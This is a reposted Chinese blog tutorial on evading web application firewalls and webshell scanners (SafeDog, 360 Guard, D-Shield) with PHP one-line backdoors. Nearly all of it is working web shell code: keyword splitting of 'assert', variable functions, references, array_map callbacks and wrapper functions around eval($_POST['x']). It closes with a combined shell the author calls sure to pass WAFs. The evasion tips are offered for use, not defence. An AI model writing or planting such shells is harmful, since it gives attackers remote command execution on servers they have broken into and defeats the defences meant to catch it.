PHP一句話過狗、衛士、D盾等免殺思路!


原文轉載於:http://www.legendsec.org/1701.html

覺得寫得還算蠻科普的。

00x1.關鍵字拆分。
         比如assert,可以寫成 ‘a’.’ss’.’e’.’r’.’t’這樣。
         總結:這種方法雖然簡單,但是卻沒有太強的免殺功效,需要結合其他方法。

00x2.可變變量、引用、可變函數。

        可變變量  比如$a=$_POST[‘x’];$b=’a’;@eval($$b);
        測試結果:1471491008-7232-204250pko88bn8ffnfexu4
        總結:這種方法對狗等WAF可以繞過哦~但是對於D盾這種多規則的是無效的!

        引用  比如$a=$_POST[‘x’];$b=&$a;@eval($b);
        測試結果: 1471491006-6569-204458hbcut7y0ozmzt7vk

        總結:這種方法與上一種方法類似。

        可變函數  比如$a=’a’.’ss’.’e’.’r’.’t’;$a($_POST[‘x’]);
        測試結果: 1471491007-9082-204737vuh31kfiq3ljxuu3
        總結:這種方法對於狗、3衛士、D盾之類的均沒有作用哦~

00x3.添加其他代碼。

添加其他代碼  比如  if(empty($a))

                                       {
                                              $a=$_POST[‘x’];
                                       }

                                        @eval($a);
        測試結果: 1471491006-8285-205001dz0q2n66xajynpn2
        總結:這種方法比較適合腦洞比較大的小伙伴們~

00x4.函數替換。

        使用其他函數,比如eval可以使用assert替換。


        總結:這種方法適合eval函數被禁用時使用哦~

00x5.封裝到新的函數中。

       新定義一個函數,使其封裝到新函數中。

       function test($a){   //定義一個名為test的函數,並使用$a接受參數

               eval($a);

       }

        test($_POST[‘x’]);

       測試結果: 1471491007-8313-205203btksu9tcx8z9cc84
       總結:這種方法適合有PHP基礎的人哦,姿勢風騷~不怕不過!

00x6.函數回調。

       使用其他函數進行調用,並執行。

       如:array_map(‘a’.’s’.’se’.’r’.’t’,array($_POST[‘x’]));
       測試結果: 1471491006-1761-205316ykue1s28kd12uk9u
       總結:這種方法適合有PHP基礎的人哦~這種方法絕對過WAF哦~


00x7.利用各種方法的特性寫出過WAF的一句話。
       <?php
function test($a){      //利用所學的封裝函數
if (empty($a)){       //利用所學的添加其他代碼
$a=”echo ‘QQ:xxxxxxx’;”;      //使用這句代碼擾亂D盾的判斷
}
@eval($a);
}
@test($_POST[‘x’]);
?>


測試結果: 1471491009-2387-210113nly51hltlttethty

 

 

 

 

THE END


 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM